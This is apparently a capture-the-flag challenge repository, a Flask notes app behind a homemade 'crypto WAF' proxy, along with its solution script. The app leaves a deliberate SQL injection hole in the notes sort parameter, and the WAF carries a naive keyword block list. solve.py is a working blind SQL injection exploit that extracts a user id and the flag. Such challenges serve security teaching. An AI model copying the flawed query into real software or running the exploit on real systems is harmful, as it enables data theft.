├── .gitignore ├── DO_NOT_ACCESS └── solve.py ├── README.md ├── amazing-crypto-waf.zip ├── app ├── Dockerfile ├── __init__.py ├── app.py ├── init.py ├── schema.sql └── templates │ ├── activity.html │ ├── base.html │ ├── index.html │ └── notes.html ├── crypter ├── Dockerfile ├── __init__.py ├── app.py ├── flag ├── init.py └── start.sh └── docker-compose.yaml /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | -------------------------------------------------------------------------------- /DO_NOT_ACCESS/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from urllib.parse import quote_plus 3 | from logzero import logger 4 | s = requests.Session() 5 | 6 | DOMAIN = 'https://7b000000b33bd1934bb5647e-amazing-crypto-waf.challenge.broker.allesctf.net:31337' 7 | DOMAIN = 'https://7b0000001d9e04b064368996-amazing-crypto-waf.challenge.master.allesctf.net:31337' 8 | DOMAIN = 'https://7b00000094d41ab01b04b286-amazing-crypto-waf.challenge.master.allesctf.net:31337' 9 | 10 | r = s.post(f'{DOMAIN}/registerlogin', 11 | data={'username': 'liveoverflow','password':'xxxx'}, allow_redirects=False) 12 | 13 | # add one note so SQL query succeeds 14 | s.post(f'{DOMAIN}/add_note', 15 | data={'body': 'pwn', 'title':'flag'}, allow_redirects=False) 16 | 17 | def sqli(table, col, test, where): 18 | sqlinjection=f""",(abs((select IIF(substr({col},1,{len(test)})='{test}', -9223372036854775808, 1) from {table} {where})))--""" 19 | 20 | query=f'?order={quote_plus(sqlinjection)}' 21 | url = f'{DOMAIN}/notes{quote_plus(query)}' 22 | #logger.warning(url) 23 | r = s.get(url, allow_redirects=False) 24 | return r.content 25 | 26 | def dump(table, col, where, start='',alphabet='0123456789abcdef'): 27 | data = start 28 | new_data = True 29 | while new_data: 30 | #logger.info(data) 31 | new_data = False 32 | for c in alphabet: 33 | logger.info(data+c) 34 | if sqli(table, col, data+c, where) == b'error': 35 | new_data=True 36 | data += c 37 | break; 38 | return data 39 | 40 | uuid = dump('users', 'uuid', "WHERE username='flagger' LIMIT 1", alphabet='0123456789abcdef') 41 | #uuid = 'be42bbf7d15d4cbe83dcff7bfc07c556' 42 | logger.info(uuid) 43 | if not uuid: 44 | exit(0) 45 | 46 | flag = '' 47 | flag = dump('notes', 'body', f"WHERE user='{uuid}'", start=flag,alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz{}:') 48 | logger.info(flag) 49 | 50 | r = s.post(f'{DOMAIN}/delete_note', data={'uuid':flag}, allow_redirects=False) 51 | logger.info(r.content) 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ctf-cryptowaf 2 | 3 | > The AmazingCryptoWAF™️ is used by the "noter" web app, 4 | > to offer automagically military encryption for any user data. 5 | > Even if an attacker is able to get access to the database, this hacker-proof 6 | > technology will protect any critical data. 7 | 8 | Checkout the video here: https://www.youtube.com/watch?v=v784VBx9w8g 9 | 10 | And a walkthrough by BugbOuntyReportsExplained: https://www.youtube.com/watch?v=ZKrABs-N9wA 11 | 12 | Solution can be founde in `DO_NOT_ACCESS` 13 | 14 | ``` 15 | docker-compose up 16 | ``` 17 | -------------------------------------------------------------------------------- /amazing-crypto-waf.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LiveOverflow/ctf-cryptowaf/fbfdf3b98edf66b40d126883c4c5afb2a7e9997f/amazing-crypto-waf.zip -------------------------------------------------------------------------------- /app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3-alpine 2 | 3 | RUN apk update 4 | RUN apk add py-pip 5 | RUN pip install flask gunicorn requests logzero 6 | ENV LIBRARY_PATH=/lib:/usr/lib 7 | 8 | ADD . /app/ 9 | WORKDIR /app/ 10 | 11 | ENV PORT=5000 BIND_ADDR=0.0.0.0 12 | 13 | RUN python init.py 14 | ENTRYPOINT gunicorn -w 8 -b "${BIND_ADDR}:${PORT}" --access-logfile - --error-logfile - app:app -------------------------------------------------------------------------------- /app/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LiveOverflow/ctf-cryptowaf/fbfdf3b98edf66b40d126883c4c5afb2a7e9997f/app/__init__.py -------------------------------------------------------------------------------- /app/app.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import hashlib 3 | import hmac 4 | import time 5 | import uuid 6 | import base64 7 | import socket 8 | from datetime import datetime 9 | from logzero import logger 10 | from functools import wraps 11 | import sqlite3 12 | from threading import Thread 13 | from flask import Flask, render_template, g, url_for, request, Response 14 | 15 | # run the server: python -m flask run --host=0.0.0.0 --port=5000 16 | 17 | SECRET = open('/tmp/secret', 'rb').read() 18 | 19 | DATABASE = 'sqlite.db' 20 | app = Flask(__name__) 21 | app.config['TEMPLATES_AUTO_RELOAD'] = True 22 | 23 | 24 | def redirect(location): 25 | "drop-in replacement for flask's redirect that doesn't sanitize the redirect target URL" 26 | response = Response(f'Redirecting... to {location}', 302, mimetype="text/html") 27 | response.headers["Location"] = location 28 | response.headers["Content-Type"] = 'text/plain' 29 | response.autocorrect_location_header = False 30 | return response 31 | 32 | 33 | def signature(s): 34 | ''' 35 | generate a hmac signature for a given string 36 | ''' 37 | 38 | m = hmac.new(SECRET, digestmod=hashlib.sha256) 39 | m.update(s.encode('ascii')) 40 | return m.hexdigest() 41 | 42 | def get_db(): 43 | ''' 44 | helper function to get a sqlite database connection 45 | ''' 46 | db = getattr(g, '_database', None) 47 | if db is None: 48 | db = g._database = sqlite3.connect(DATABASE) 49 | db.row_factory = sqlite3.Row 50 | return db 51 | 52 | @app.teardown_appcontext 53 | def close_connection(exception): 54 | ''' 55 | helper function to close the database connection 56 | ''' 57 | db = getattr(g, '_database', None) 58 | if db is not None: 59 | db.close() 60 | 61 | def query_db(query, args=(), one=False): 62 | ''' 63 | helper function to do a SQL query like select 64 | ''' 65 | cur = get_db().execute(query, args) 66 | rv = cur.fetchall() 67 | cur.close() 68 | return (rv[0] if rv else None) if one else rv 69 | 70 | def commit_db(query, args=()): 71 | ''' 72 | helper function to do SQl queries like insert into 73 | ''' 74 | get_db().cursor().execute(query, args) 75 | get_db().commit() 76 | 77 | def login_required(f): 78 | ''' 79 | login required decorator to ensure g.user exists 80 | ''' 81 | @wraps(f) 82 | def decorated_function(*args, **kwargs): 83 | if 'user' not in g or g.user == None: 84 | return redirect('/logout') 85 | return f(*args, **kwargs) 86 | return decorated_function 87 | 88 | 89 | @app.before_request 90 | def before_request(): 91 | ''' 92 | session middleware. checks if we have a valid session and sets g.user 93 | ''' 94 | # request - flask.request 95 | if 'session' not in request.cookies: 96 | return None 97 | session = request.cookies['session'].split('.') 98 | if not len(session) == 2: 99 | return None 100 | 101 | key, sig = session 102 | if not hmac.compare_digest(sig, signature(key)): 103 | return None 104 | g.user= query_db('select * from users where uuid = ?', 105 | [key], one=True) 106 | 107 | 108 | 109 | @app.route('/') 110 | def index(): 111 | return render_template('index.html') 112 | 113 | @app.route('/logout') 114 | def logout(): 115 | response = redirect("/") 116 | response.set_cookie('session', '', expires=0) 117 | return response 118 | 119 | @app.route('/notes') 120 | @login_required 121 | def notes(): 122 | order = request.args.get('order', 'desc') 123 | notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']]) 124 | return render_template('notes.html', user=g.user, notes=notes) 125 | 126 | 127 | @app.route('/delete_note', methods=['POST']) 128 | @login_required 129 | def delete_note(): 130 | user = g.user['uuid'] 131 | note_uuid = request.form['uuid'] 132 | commit_db('delete from notes where uuid = ? and user = ?', [note_uuid, user]) 133 | return redirect(f'/notes?deleted={note_uuid}') 134 | 135 | @app.route('/add_note', methods=['POST']) 136 | @login_required 137 | def add_note(): 138 | new_note_uuid = uuid.uuid4().hex 139 | user = g.user['uuid'] 140 | title = request.form['title'] 141 | body = request.form['body'] 142 | 143 | commit_db('insert into notes (uuid, user, title, body) values (?, ?, ?, ?)', 144 | [new_note_uuid, user, title, body]) 145 | return redirect('/notes') 146 | 147 | @app.route('/registerlogin', methods=['POST']) 148 | def registerlogin(): 149 | username = request.form['username'] 150 | password = request.form['password'] 151 | pwhash = hashlib.sha256(password.encode('utf-8')).hexdigest() 152 | user = query_db('select * from users where username = ? and password = ?', 153 | [username, pwhash], one=True) 154 | 155 | if not user: 156 | # new user. let's create it in the database 157 | new_user_uuid = uuid.uuid4().hex 158 | commit_db('insert into users (uuid, username, password) values (?, ?, ?)', 159 | [new_user_uuid, username, pwhash]) 160 | user= query_db('select * from users where uuid = ?', [new_user_uuid], one=True) 161 | 162 | # calculate signature for cookie 163 | key = user['uuid'] 164 | sig = signature(user['uuid']) 165 | response = redirect('/notes') 166 | response.set_cookie('session', f'{key}.{sig}') 167 | return response 168 | 169 | -------------------------------------------------------------------------------- /app/init.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import uuid 3 | from logzero import logger 4 | import hashlib 5 | 6 | # make sure we have a secret for the app 7 | try: 8 | SECRET = open('/tmp/secret', 'rb').read() 9 | logger.info(f'found secret file: {SECRET}') 10 | except FileNotFoundError: 11 | SECRET = uuid.uuid4().bytes 12 | with open('/tmp/secret', 'wb') as f: 13 | f.write(SECRET) 14 | 15 | 16 | # init database 17 | db = sqlite3.connect('sqlite.db') 18 | 19 | with open('schema.sql', 'r') as f: 20 | db.cursor().executescript(f.read()) 21 | db.commit() 22 | 23 | -------------------------------------------------------------------------------- /app/schema.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE `users` ( 2 | `uuid` varchar(36) PRIMARY KEY NOT NULL, 3 | `username` varchar(32) NOT NULL default '', 4 | `password` varchar(64) NOT NULL default '' 5 | ); 6 | CREATE UNIQUE INDEX `useruuid` ON `users`(`uuid`); 7 | 8 | CREATE TABLE `notes` ( 9 | `uuid` varchar(36) PRIMARY KEY NOT NULL, 10 | `timestamp` DATETIME DEFAULT CURRENT_TIMESTAMP, 11 | `user` varchar(36) NOT NULL, 12 | `title` varchar(64) NOT NULL default '', 13 | `body` TEXT NOT NULL default '' 14 | ); 15 | 16 | CREATE UNIQUE INDEX `noteuuid` ON `notes`(`uuid`); 17 | CREATE INDEX `noteuser` ON `notes`(`user`); 18 | 19 | CREATE TABLE `logs` ( 20 | `id` INTEGER PRIMARY KEY, 21 | `msg` varchar(512) NOT NULL default '', 22 | `timestamp` DATETIME DEFAULT CURRENT_TIMESTAMP 23 | ); 24 | CREATE UNIQUE INDEX `logid` ON `logs`(`id`); -------------------------------------------------------------------------------- /app/templates/activity.html: -------------------------------------------------------------------------------- 1 | 2 | {% extends "base.html" %} 3 | {% block content %} 4 | 5 |
6 | {% for log in logs %} 7 |
8 |
9 | {{ log.timestamp|timesince }} 10 | {{ log.msg }} 11 |
12 |
13 | {% endfor %} 14 | {% if len_logs == 15 %} 15 |
16 |
17 | ... 18 |
19 |
20 | {% endif %} 21 |
22 | 23 | {% endblock %} -------------------------------------------------------------------------------- /app/templates/base.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | noter 9 | 10 | 11 |
12 | 13 | {% if g.user %} 14 | 15 | {% else %} 16 | 17 | {% endif %} 18 | noter DEMO 19 | 20 | 21 | {% if g.user %} 22 | {{g.user.username}} 23 | 24 | 27 | 28 | {% else %} 29 | {% endif %} 30 | 31 |
32 |
33 | {% block content %} 34 | 35 | {% endblock %} 36 |
37 | 38 | -------------------------------------------------------------------------------- /app/templates/index.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block content %} 3 | 4 |
5 |
6 |

Login

7 | 8 |
9 |
10 | 13 | 14 |
15 |
16 | 19 | 20 |
21 |
22 |
23 | 26 |
27 | 28 |
29 |
30 |
31 |
32 |
33 | 34 |
35 | 36 | 37 | 38 | {% endblock %} -------------------------------------------------------------------------------- /app/templates/notes.html: -------------------------------------------------------------------------------- 1 | {% extends "base.html" %} 2 | {% block content %} 3 | 4 | 5 |
6 |
7 |
8 |
9 | 10 |
11 | 12 |
13 |
14 | 15 | 18 |
19 |
20 |
21 |
22 |
23 | 24 |
25 | 26 | sort {% if request.args.get('order') == 'asc' %}{% else %}{% endif %} 27 | 28 |
29 | {% for note in notes %} 30 |
31 |
32 |
33 | 34 |
41 |
42 |
43 |
{{ note.body }}
44 |
45 | 46 |
47 |
48 |

49 | {{ note.title }} 50 |

51 |
52 |
53 |
54 |
55 | {% endfor %} 56 | {% endblock %} -------------------------------------------------------------------------------- /crypter/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3-alpine 2 | 3 | RUN apk update 4 | RUN apk add py-pip gmp python3-dev gcc g++ make libffi-dev openssl-dev 5 | RUN pip install flask gunicorn requests pycryptodome logzero 6 | ENV LIBRARY_PATH=/lib:/usr/lib 7 | 8 | ADD . /app/ 9 | WORKDIR /app/ 10 | 11 | ENV PORT=1024 BIND_ADDR=0.0.0.0 12 | 13 | ENTRYPOINT /app/start.sh -------------------------------------------------------------------------------- /crypter/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LiveOverflow/ctf-cryptowaf/fbfdf3b98edf66b40d126883c4c5afb2a7e9997f/crypter/__init__.py -------------------------------------------------------------------------------- /crypter/app.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import hashlib 3 | import hmac 4 | import time 5 | import uuid 6 | import re 7 | import binascii 8 | import base64 9 | import socket 10 | from urllib.parse import unquote 11 | from datetime import datetime 12 | from logzero import logger 13 | from functools import wraps 14 | import sqlite3 15 | import requests 16 | from threading import Thread 17 | from flask import Flask, make_response, render_template, g, url_for, request, Response, copy_current_request_context, jsonify 18 | 19 | # run the server: python -m flask run --host=0.0.0.0 --port=1024 20 | 21 | try: 22 | SECRET = open('/tmp/secret', 'rb').read() 23 | except FileNotFoundError: 24 | SECRET = uuid.uuid4().bytes 25 | with open('/tmp/secret', 'wb') as f: 26 | f.write(SECRET) 27 | 28 | try: 29 | BACKEND = socket.getaddrinfo('app', 0)[0][4][0] 30 | except socket.gaierror: 31 | BACKEND = '127.0.0.1' 32 | 33 | BACKEND_URL = f'http://{BACKEND}:5000/' 34 | 35 | app = Flask(__name__) 36 | 37 | # the WAF is still early in development and only protects a few cases 38 | def waf_param(param): 39 | MALICIOUS = ['select', 'union', 'alert', 'script', 'sleep', '"', '\'', '<'] 40 | for key in param: 41 | val = param.get(key, '') 42 | while val != unquote(val): 43 | val = unquote(val) 44 | 45 | for evil in MALICIOUS: 46 | if evil.lower() in val.lower(): 47 | raise Exception('hacker detected') 48 | 49 | from Crypto.Cipher import AES 50 | #from Crypto.Random import get_random_bytes 51 | 52 | 53 | def decrypt(val): 54 | encrypted = base64.b64decode(val[8:].encode()) 55 | b64_nonce, b64_ciphertext, b64_tag = encrypted.split(b':') 56 | nonce = base64.b64decode(b64_nonce) 57 | ciphertext = base64.b64decode(b64_ciphertext) 58 | tag = base64.b64decode(b64_tag) 59 | cipher = AES.new(SECRET, AES.MODE_EAX, nonce) 60 | data = cipher.decrypt_and_verify(ciphertext, tag) 61 | return data 62 | 63 | def encrypt(val): 64 | cipher = AES.new(SECRET, AES.MODE_EAX) 65 | ciphertext, tag = cipher.encrypt_and_digest(val.encode()) 66 | encrypted = f'{base64.b64encode(cipher.nonce).decode()}:{base64.b64encode(ciphertext).decode()}:{base64.b64encode(tag).decode()}' 67 | 68 | b64 = base64.b64encode(encrypted.encode()).decode() 69 | return f'ENCRYPT:{b64}' 70 | 71 | def encrypt_params(param): 72 | # We don't want to encrypt identifiers. 73 | # This is a default set of typical ID values. 74 | # In the future should be configurable per customer. 75 | IGNORE = ['uuid', 'id', 'pk', 'username', 'password'] 76 | encrypted_param = {} 77 | for key in param: 78 | val = param.get(key,'') 79 | if key in IGNORE: 80 | encrypted_param[key] = val 81 | else: 82 | encrypted_param[key] = encrypt(val) 83 | 84 | return encrypted_param 85 | 86 | 87 | def decrypt_data(data): 88 | cryptz = re.findall(r'ENCRYPT:[A-Za-z0-9+/]+=*', data.decode()) 89 | for crypt in cryptz: 90 | try: 91 | data = data.replace(crypt.encode(), decrypt(crypt)) 92 | except binascii.Error: 93 | data = data.replace(crypt.encode(), b'MALFORMED ENCRYPT') 94 | 95 | 96 | return data 97 | 98 | def inject_ad(data): 99 | AD = b""" 100 |
101 |
102 | 103 |
104 |
105 | User data is military encrypted by AmazingCryptoWAF
106 |
107 |
108 | """ 109 | return data.replace(b'', AD) 110 | 111 | @app.route('/', defaults={'path': ''}) 112 | @app.route('/', methods=['POST', 'GET']) 113 | def proxy(path): 114 | 115 | # Web Application Firewall 116 | try: 117 | waf_param(request.args) 118 | waf_param(request.form) 119 | except: 120 | return 'error' 121 | 122 | # contact backend server 123 | proxy_request = None 124 | query = request.query_string.decode() 125 | headers = {'Cookie': request.headers.get('Cookie', None) } 126 | if request.method=='GET': 127 | proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}', 128 | headers=headers, 129 | allow_redirects=False) 130 | elif request.method=='POST': 131 | headers['Content-type'] = request.content_type 132 | proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', 133 | data=encrypt_params(request.form), 134 | headers=headers, 135 | allow_redirects=False) 136 | 137 | if not proxy_request: 138 | return 'error' 139 | 140 | 141 | response_data = decrypt_data(proxy_request.content) 142 | injected_data = inject_ad(response_data) 143 | resp = make_response(injected_data) 144 | resp.status = proxy_request.status_code 145 | if proxy_request.headers.get('Location', None): 146 | resp.headers['Location'] = proxy_request.headers.get('Location') 147 | if proxy_request.headers.get('Set-Cookie', None): 148 | resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie') 149 | if proxy_request.headers.get('Content-Type', None): 150 | resp.content_type = proxy_request.headers.get('Content-Type') 151 | 152 | return resp 153 | -------------------------------------------------------------------------------- /crypter/flag: -------------------------------------------------------------------------------- 1 | ALLES!{test} -------------------------------------------------------------------------------- /crypter/init.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import uuid 3 | from logzero import logger 4 | 5 | # create flag user 6 | pw = uuid.uuid4().hex 7 | flag = open('flag', 'rb').read() 8 | 9 | logger.info(f'flagger password: {pw}') 10 | s = requests.Session() 11 | r = s.post(f'http://127.0.0.1:1024/registerlogin', 12 | data={'username': 'flagger','password':pw}, allow_redirects=False) 13 | 14 | s.post(f'http://127.0.0.1:1024/add_note', 15 | data={'body': flag, 'title':'flag'}, allow_redirects=False) -------------------------------------------------------------------------------- /crypter/start.sh: -------------------------------------------------------------------------------- 1 | #/bin/sh 2 | 3 | sleep 30 && python init.py & 4 | 5 | gunicorn -w 8 -b "$BIND_ADDR:$PORT" --access-logfile - --error-logfile - app:app -------------------------------------------------------------------------------- /docker-compose.yaml: -------------------------------------------------------------------------------- 1 | version: '3.7' 2 | services: 3 | app: 4 | build: 5 | context: app/ 6 | 7 | crypter: 8 | build: 9 | context: crypter/ 10 | depends_on: 11 | - "app" 12 | ports: 13 | - 5000:1024 14 | --------------------------------------------------------------------------------